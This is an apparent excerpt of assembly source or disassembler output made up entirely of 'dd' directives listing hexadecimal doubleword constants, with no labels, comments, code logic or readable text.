		dd 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h, 6CC1EBCEh
		dd 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h,	6F009B89h
		dd 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h, 0EE604504h
		dd 5700CC17h, 5882FEE9h, 58474048h, 2E10033h, 0C1F5FA2Ch
		dd 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h, 1F061CE3h
		dd 7EBD0043h, 4194D48h,	0FA008001h, 5302BB05h, 3C32EBh
		dd 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh, 4C50FF5h
		dd 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh, 0D9495C30h
		dd 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh,	12760391h
		dd 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h,	0B2900010h
		dd 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh, 0C6126CF4h
		dd 5D4A2404h, 935B801h,	3B5564BAh, 0E0FCADF5h, 0FE840042h
		dd 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h, 0FE103B8Ch
		dd 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h,	0E388559Fh
		dd 0B19011h, 8BA71F0Dh,	8577F8BAh, 81A09E4Ah, 115F00D0h
		dd 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h, 0B9D400DBh
		dd 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh,	1D8D70EBh
		dd 661A1D98h, 850580D6h, 28215346h, 4D75E207h, 40903E9Ch
		dd 6132CBh, 6F881931h, 0E655697h, 6AE91F05h, 0D60E03AEh
		dd 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h,	1244C00h
		dd 77714FDh, 68FE6303h,	5E05B8Ah, 5F3B5D62h, 0A25A03B3h
		dd 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h, 10F688EFh
		dd 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h, 54015DE7h
		dd 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h
		dd 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h
		dd 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h,	5800EF32h
		dd 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h,	2E008D66h
		dd 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h
		dd 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h,	68D413C0h
		dd 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh
		dd 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh
		dd 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h
		dd 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh,	5F4DA4D1h
		dd 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h
		dd 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh
		dd 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h, 0FF007775h
		dd 57ADCC67h, 0BC002C9Eh, 0DAE74272h, 0C34316h,	0EB22354Eh
		dd 1D6CD5CCh, 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h
		dd 41FA4E4h, 5FE800D6h,	0E3FE0146h, 0E2F4297Eh,	0F44D6200h
		dd 17B11E9Ch, 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah
		dd 3E3BA908h, 5F8346C2h, 0EE58E276h, 515EB5E0h,	30E1F43Ah
		dd 3E1378D4h, 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h
		dd 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h
		dd 78E83Dh, 0F7700651h,	0D91E148h, 0A3184700h, 3D83438Ch
		dd 0C9FEA2h, 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah
		dd 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h, 0E88660E3h
		dd 2AD0AF60h, 0FC2336h,	6E3BBF7h, 1DF8682Fh, 0A0F4EA00h
		dd 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h
		dd 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h, 458BD401h
		dd 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh
		dd 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h
		dd 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h,	478E003Ch
		dd 91342338h, 2C00C830h, 247228E4h, 0E21C2039h,	18412D8Eh
		dd 3F30D4h, 0A4C4B4A6h,	3E6D29DDh, 5002814h, 94E8F35Ah
		dd 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah
		dd 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh, 4C740482h
		dd 9B3FEB00h, 7B8AF19h,	0D0C10080h, 40B2E937h, 13009839h
		dd 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h
		dd 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh
		dd 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h,	51E29456h
		dd 2DC5BE53h, 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h
		dd 0C7D9BA29h, 8205D4ADh, 4A10700h, 182B376Ch, 1688006Bh
		dd 22F35EDEh, 531C4FD7h
		dd 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h, 0C7031E14h
		dd 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h, 422ABE3h
		dd 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h,	1060Ch
		dd 667F6854h, 3D53004h,	0DF6EC800h, 0C6097D60h,	6B484805h
		dd 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh, 0B7452501h
		dd 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h,	0E7AE3507h
		dd 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh, 0D3F87556h
		dd 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h, 0B39F1400h
		dd 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh,	2E35A6A0h
		dd 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h, 0C2A4AC15h
		dd 77A4848h, 81274A58h,	0F3EB2053h, 0B204D085h,	145C77D7h
		dd 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h, 0CCE1A300h
		dd 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh, 38D4923Fh
		dd 66A28010h, 25439F0h,	7A8600E8h, 0EE8AC8E0h, 0CD00AF42h
		dd 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh, 0CB8362C6h
		dd 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h, 0D95EC000h
		dd 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh, 4AB68000h
		dd 18201514h, 7AA20C01h, 4352DF90h, 973477E5h, 9CE47Dh
		dd 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h, 0B66E390Ch
		dd 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh, 88E422h
		dd 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h, 0FBBB9E3h
		dd 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h, 2E4E9980h
		dd 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h,	4B5073h
		dd 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h,	1CF5CD4h
		dd 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h, 0B8D71Eh
		dd 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h, 34E252h
		dd 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h,	1E58595Bh
		dd 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h, 0EB3F19A8h
		dd 8AE705h, 0BC84A663h,	5C766AE1h, 0E810C004h, 0FAC04607h
		dd 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh, 0CFABAA50h
		dd 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h, 0C95C00CFh
		dd 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h,	1CA66032h
		dd 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh, 0DF61EB7Fh
		dd 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h, 6E200775h
		dd 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h, 30204F4Ch
		dd 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h, 3B498700h
		dd 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch, 351B9886h
		dd 2F9CB8h, 0EB4E90E2h,	8B3301C0h, 4967C807h, 0ABF4BA3Ch
		dd 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h, 0A75D253h
		dd 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h, 800CFC3Dh
		dd 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh, 8D49D2h
		dd 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h, 19C23E5Fh
		dd 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch, 1C3AF04Fh
		dd 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h, 205450DEh
		dd 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h, 0EE4E3250h
		dd 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h, 94D9A4C7h
		dd 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h, 3B63F059h
		dd 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h,	0D443BA00h
		dd 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh,	0E6004298h
		dd 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh, 0A701DC03h
		dd 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h, 6D07C861h
		dd 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h,	2A008DADh
		dd 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h, 0F3781600h
		dd 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h, 493DC024h
		dd 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh, 40437ACBh
		dd 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah, 0F627561Eh
		dd 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h, 5FE983C9h
		dd 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h, 0E6CF62D6h
		dd 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h, 9FE96958h
		dd 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h, 881400F3h
		dd 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h, 701AAF0h
		dd 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h, 0AF81910h
		dd 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h, 957D5A64h
		dd 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h
		dd 663F5269h, 804036Ch,	0A04650A1h, 0EC37Ch, 0B6D7EBE8h
		dd 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h
		dd 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh
		dd 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h
		dd 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h
		dd 39403Ch, 0D05F5089h,	5BBD94h, 75488555h, 7D8AF9F6h
		dd 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h
		dd 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah,	0D91FE905h
		dd 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah
		dd 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h
		dd 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h
		dd 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh, 0FB3AE571h
		dd 4E182Ah, 0C9825CA6h,	0F51A8D89h, 0F0FC8700h,	5768BDA2h
		dd 9F7A3C96h, 0F8423180h, 49BF14EAh, 1DEB1903h,	0C388C892h
		dd 0FB83AB90h, 57ED00Ch, 61300FB8h, 0E7E0558Dh,	0AF918696h
		dd 0C32D321Dh, 82C8C0CAh, 60C4A00h, 26D858Ah, 25ECB5BBh
		dd 18E01844h, 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h
		dd 0CB24C90h, 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h
		dd 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h,	203FFA6Ch
		dd 0BADAF8Bh, 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h
		dd 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h
		dd 5EEB8C68h, 4500DA0Fh, 0EAFF8995h, 78E9AF74h,	55A7011Dh
		dd 598AC47h, 5C06607Dh,	4B00DAF2h, 2C3E20CEh, 1D921CD2h
		dd 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h
		dd 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h,	0C17CA7C8h
		dd 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah
		dd 500A5ECh, 3101B9EDh,	3EA263D5h, 0D803C6Dh, 0B4E14CDAh
		dd 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h, 0F77BF6FDh
		dd 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h
		dd 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h
		dd 0F3D76D7Bh, 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h
		dd 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh
		dd 72710066h, 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh
		dd 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h,	0EDCF16D5h
		dd 784AEA7h, 31EFBB83h,	0B09E6039h, 0BA00280Dh,	69B1EDE4h
		dd 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah
		dd 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h
		dd 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h,	90B48521h
		dd 3F032ECh, 0D51AC435h
		dd 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h, 0D6C447h
		dd 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h, 0CBAD8078h
		dd 0FE32AD61h, 42140063h, 50628864h, 8E676973h,	3F838A10h
		dd 937C9C5h, 8FBC4h, 50C15C6Bh,	0A685EF41h, 589F4403h
		dd 0C0E23DA4h, 4CF7F6h,	0F8324AF9h, 434838CFh, 0CCAA2700h
		dd 335DE10Dh, 20F076Eh,	31A6FFB8h, 0C819F8E9h, 1B5CDD7Ch
		dd 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh, 0B6700F80h
		dd 102BA25h, 68B0A27Bh,	0AF4FE0F4h, 0D427012Fh,	75330518h
		dd 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch,	753AAC68h
		dd 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch, 420D312Dh
		dd 2409940Ah, 13C4400h,	6B40716Dh, 3FC50060h, 5CE6B033h
		dd 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh, 2CB90B78h
		dd 534B8F40h, 76008778h, 0D1D77F2h, 8F010h, 8C022249h
		dd 53140446h, 38838001h, 2F26D49Eh, 206A30h, 3C705B9Fh
		dd 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h, 0FE8CFE84h
		dd 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh,	8771EC0Eh
		dd 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh, 0B90001E0h
		dd 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h, 0E31E6891h
		dd 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h, 0BAE3C0A2h
		dd 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh, 0E7EA1415h
		dd 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h,	0FB22958Bh
		dd 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h,	500037F7h
		dd 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h, 95032991h
		dd 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h, 892727E0h
		dd 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h, 0E400B0C8h
		dd 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h, 0C4548906h
		dd 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h, 5B9038Bh
		dd 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h, 5A39ECh
		dd 3E98B2BAh, 99285295h, 513EACB8h, 8370147h, 218E428Fh
		dd 0C6E5E8h, 7DB15EBDh,	4A8513F2h, 0D70669FCh, 0BA120523h
		dd 8BE7002Eh, 533509D0h, 570040DCh, 39717064h, 4A6C6Ah
		dd 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h, 0F5D50CAh
		dd 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h, 0A614FAFDh
		dd 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h, 22EC8488h
		dd 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h,	0FC2D8580h
		dd 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh, 7C26B549h
		dd 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h, 7D4B7169h
		dd 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h, 0D09B0044h
		dd 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh, 0BA439185h
		dd 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah,	9BBDEC85h
		dd 9709DFABh, 5C201656h, 30F90079h, 948DE406h, 3E179500h
		dd 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h, 0E22E8107h
		dd 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h, 7500241Eh
		dd 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h, 69006C13h
		dd 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h,	0B700A0EAh
		dd 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h, 7C1F909Fh
		dd 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h, 352504A1h
		dd 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h, 8203A54Ah
		dd 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah, 0B8ECF450h
		dd 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h, 5772ACF8h
		dd 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh, 1C714AE0h
		dd 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h, 8F5BEE1h
		dd 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah, 362A009Dh
		dd 34283D06h, 74399110h, 677200C0h, 62431D70h, 64C30077h
		dd 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh,	5D405C10h
		dd 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h, 7D7B0067h
		dd 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h, 9BE80435h
		dd 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h, 0E6CB0028h
		dd 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh, 0A8EAF7h
		dd 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h,	63F816h
		dd 64535110h, 77712407h, 700073E6h, 62752676h, 777C691Ch
		dd 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh,	197BC728h
		dd 0A02A1405h, 955689h,	24848913h, 836AA372h, 0EBF4220Fh
		dd 0BCEFF7h, 4BD79001h,	19200049h, 6BC48B7Eh, 0CC0256BAh
		dd 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h, 0C800B801h
		dd 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch, 21574509h
		dd 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h, 0AD2F5FE9h
		dd 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h, 46163AF4h
		dd 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch, 0ED00A60Eh
		dd 401F496Eh, 754A0047h, 13836653h, 200107Dh, 0C16AF90Ch
		dd 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h, 0D40708F6h
		dd 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h, 0E319920Fh
		dd 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h, 0EEFF2800h
		dd 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h, 68056ED0h
		dd 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h, 0C855F5E2h
		dd 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h,	11F4ADD7h
		dd 803908C4h, 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh
		dd 395BAB2Ch, 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h
		dd 0A10B40C4h, 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h
		dd 6CA0F82Ah, 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h
		dd 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h
		dd 58A7035Ah, 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh
		dd 34058EB4h, 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h
		dd 980A7448h, 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h
		dd 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h,	52DC7C00h
		dd 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h,	34301C84h
		dd 162238h, 0EFFA8068h,	28E21065h, 3732C400h, 0EA9DE860h
		dd 432E00C0h, 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h
		dd 28731E58h, 18B22C3h,	5A9EFC08h, 0EB540584h, 0EC1811E9h
		dd 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h,	0F1750AFAh
		dd 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h, 0EC832500h
		dd 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh, 0A80D03D6h
		dd 18D38400h, 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h
		dd 37F2F4AFh, 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h
		dd 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h
		dd 473B3140h, 224E0053h, 8126A01Ch, 0C3511FBCh,	766DC00Bh
		dd 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h
		dd 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h, 833AFBC4h
		dd 9DF00805h, 0B240E8D4h, 1130222Ch, 7C097234h,	9F370744h
		dd 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h
		dd 0F89838FBh, 0D9ED63E9h, 670E8900h, 87F8310h,	0EF9200DCh
		dd 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h
		dd 4F8E7630h, 0E0380979h
		dd 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh, 2019320Bh
		dd 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h,	34443088h
		dd 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h, 0AA00073Dh
		dd 0B7B63FC2h, 482A4Dh,	31918757h, 0C39ADFA5h, 770DA900h
		dd 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh
		dd 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h, 72321D2Fh
		dd 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh, 7E404981h
		dd 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh, 7B81100h
		dd 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h,	0E0987ED6h
		dd 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h, 0D55B3B00h
		dd 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h, 5E019722h
		dd 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h, 0D678A226h
		dd 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh,	4400E6EBh
		dd 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h, 0DC1F16B8h
		dd 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h, 5A00EB99h
		dd 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh, 639D7C00h
		dd 62046942h, 16FA009Bh, 3640C611h, 0B1002266h,	63144D67h
		dd 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh, 8029BB36h
		dd 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h, 0F0037D89h
		dd 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh, 0E488E052h
		dd 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh,	0F081A947h
		dd 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h,	41020048h
		dd 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h, 0FC44D815h
		dd 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h,	0D6CCA7F6h
		dd 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h, 3B052BA3h
		dd 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h, 2F3031C7h
		dd 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h,	69ABD42Fh
		dd 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h,	0BF99E455h
		dd 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h,	90C2C788h
		dd 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h,	0C9744792h
		dd 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h,	0F762018Ch
		dd 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh,	9E369CA0h
		dd 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh,	70038557h
		dd 29DACC0h, 76DC00E8h,	8199101Ah, 0C01DFDF3h, 8B005B07h
		dd 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h, 0F5A75DF3h
		dd 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h, 0CD00E954h
		dd 0F210B329h, 22CD5A7h, 34970D31h, 740F649h, 9B3CCEBCh
		dd 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh, 0D60028C8h
		dd 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h,	0E3000B44h
		dd 523B2C3Dh, 179382Ah,	0F469BD16h, 0E45E1739h,	8000BA0Bh
		dd 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h, 6660233Eh
		dd 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch, 8010973Eh
		dd 30A47CBAh, 1BD395Fh,	0F886B774h, 0EC66F7B2h,	24003E96h
		dd 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h, 58787D90h
		dd 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h, 3B012711h
		dd 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch,	9D0065A1h
		dd 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh, 5FDF2Dh
		dd 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h, 912871Fh
		dd 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h, 4D5CD293h
		dd 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh,	0D011AFA3h
		dd 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h, 17A0C321h
